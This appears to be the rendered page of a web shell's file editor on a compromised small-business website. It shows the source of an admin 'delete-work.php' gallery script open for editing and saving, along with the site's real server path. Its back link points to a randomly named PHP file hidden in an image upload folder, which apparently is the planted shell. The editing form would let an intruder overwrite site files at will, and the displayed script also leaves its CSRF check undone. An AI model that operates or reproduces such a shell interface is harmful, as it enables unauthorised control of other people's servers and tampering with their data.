<h2>Edit File - delete-work.php</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/u788335118/domains/harryautoelectrician.com/public_html/admin/delete-work.php">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;?php
include(&quot;head.php&quot;);

// Initialize variables
$success = false;
$error = &#039;&#039;;
$itemInfo = null;

// Check if ID parameter exists
if (isset($_GET[&#039;id&#039;])) {
    $id = intval($_GET[&#039;id&#039;]);
    
    // Get item info from database
    $stmt = $conn-&gt;prepare(&quot;SELECT content FROM gallery WHERE sno = ?&quot;);
    $stmt-&gt;bind_param(&quot;i&quot;, $id);
    $stmt-&gt;execute();
    $result = $stmt-&gt;get_result();
    $itemInfo = $result-&gt;fetch_assoc();
    $stmt-&gt;close();
    
    // Check if form was submitted
    if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) {
        // Verify CSRF token if you have one
        
        // Delete file from server
        if ($itemInfo &amp;&amp; !empty($itemInfo[&#039;content&#039;])) {
            $filePath = &#039;img/work_gallery/&#039; . $itemInfo[&#039;content&#039;];
            if (file_exists($filePath)) {
                unlink($filePath);
            }
        }
        
        // Delete record from database
        $stmt = $conn-&gt;prepare(&quot;DELETE FROM gallery WHERE sno = ?&quot;);
        $stmt-&gt;bind_param(&quot;i&quot;, $id);
        
        if ($stmt-&gt;execute()) {
            // $success = true;
            // Redirect after successful deletion
            echo &quot;
            &lt;script&gt;
            alert(&#039;Content removed successfully&#039;);
            window.location.href=&#039;view-work.php&#039;;
            &lt;/script&gt;
            &quot;;
            exit();
        } else {
            $error = &quot;Failed to delete record from database.&quot;;
        }
        $stmt-&gt;close();
        $conn-&gt;close();
    }
} else {
    $error = &quot;No item ID specified.&quot;;
}
?&gt;

&lt;div class=&quot;container-fluid pt-4 px-4&quot;&gt;
    &lt;div class=&quot;row g-4&quot;&gt;
        &lt;div class=&quot;row text-center pt-5&quot;&gt;
            &lt;div class=&quot;col-lg-12&quot;&gt;
                &lt;h1 class=&quot;text-primary&quot; style=&quot;text-decoration: underline;&quot;&gt;Delete Content&lt;/h1&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;col-sm-12 col-xl-12&quot;&gt;
            &lt;div class=&quot;bg-secondary rounded h-100 p-4&quot;&gt;
                &lt;?php if ($error): ?&gt;
                    &lt;div class=&quot;alert alert-danger&quot;&gt;&lt;?php echo $error; ?&gt;&lt;/div&gt;
                    &lt;div class=&quot;text-center&quot;&gt;
                        &lt;a href=&quot;view-work.php&quot; class=&quot;btn btn-primary&quot;&gt;Back to Gallery&lt;/a&gt;
                    &lt;/div&gt;
                &lt;?php elseif ($itemInfo): ?&gt;
                    &lt;div class=&quot;alert alert-warning&quot;&gt;
                        &lt;h4 class=&quot;alert-heading&quot;&gt;Are you sure you want to delete this content?&lt;/h4&gt;
                        &lt;p&gt;This action cannot be undone.&lt;/p&gt;
                        
                        &lt;?php if (!empty($itemInfo[&#039;content&#039;])): 
                            $fileExtension = pathinfo($itemInfo[&#039;content&#039;], PATHINFO_EXTENSION);
                            $isVideo = in_array(strtolower($fileExtension), [&#039;mp4&#039;, &#039;webm&#039;, &#039;ogg&#039;]);
                        ?&gt;
                            &lt;div class=&quot;mt-3 mb-3&quot;&gt;
                                &lt;?php if ($isVideo): ?&gt;
                                    &lt;video controls style=&quot;max-width: 100%; height: auto;&quot;&gt;
                                        &lt;source src=&quot;img/work_gallery/&lt;?php echo htmlspecialchars($itemInfo[&#039;content&#039;]); ?&gt;&quot; type=&quot;video/&lt;?php echo $fileExtension; ?&gt;&quot;&gt;
                                        Your browser does not support the video tag.
                                    &lt;/video&gt;
                                &lt;?php else: ?&gt;
                                    &lt;img src=&quot;img/work_gallery/&lt;?php echo htmlspecialchars($itemInfo[&#039;content&#039;]); ?&gt;&quot; style=&quot;max-width: 100%; height: auto;&quot;&gt;
                                &lt;?php endif; ?&gt;
                            &lt;/div&gt;
                            &lt;p&gt;File: &lt;?php echo htmlspecialchars($itemInfo[&#039;content&#039;]); ?&gt;&lt;/p&gt;
                        &lt;?php endif; ?&gt;
                        
                        &lt;form method=&quot;POST&quot; action=&quot;&quot;&gt;
                            &lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;&lt;?php echo $id; ?&gt;&quot;&gt;
                            &lt;div class=&quot;d-flex justify-content-between&quot;&gt;
                                &lt;a href=&quot;view-work.php&quot; class=&quot;btn btn-secondary&quot;&gt;Cancel&lt;/a&gt;
                                &lt;button type=&quot;submit&quot; class=&quot;btn btn-danger&quot;&gt;Confirm Delete&lt;/button&gt;
                            &lt;/div&gt;
                        &lt;/form&gt;
                    &lt;/div&gt;
                &lt;?php else: ?&gt;
                    &lt;div class=&quot;alert alert-info&quot;&gt;Content not found.&lt;/div&gt;
                    &lt;div class=&quot;text-center&quot;&gt;
                        &lt;a href=&quot;view-work.php&quot; class=&quot;btn btn-primary&quot;&gt;Back to Gallery&lt;/a&gt;
                    &lt;/div&gt;
                &lt;?php endif; ?&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;?php
include(&quot;foot.php&quot;);
?&gt;</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/admin/img/services/696a979a0991c_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>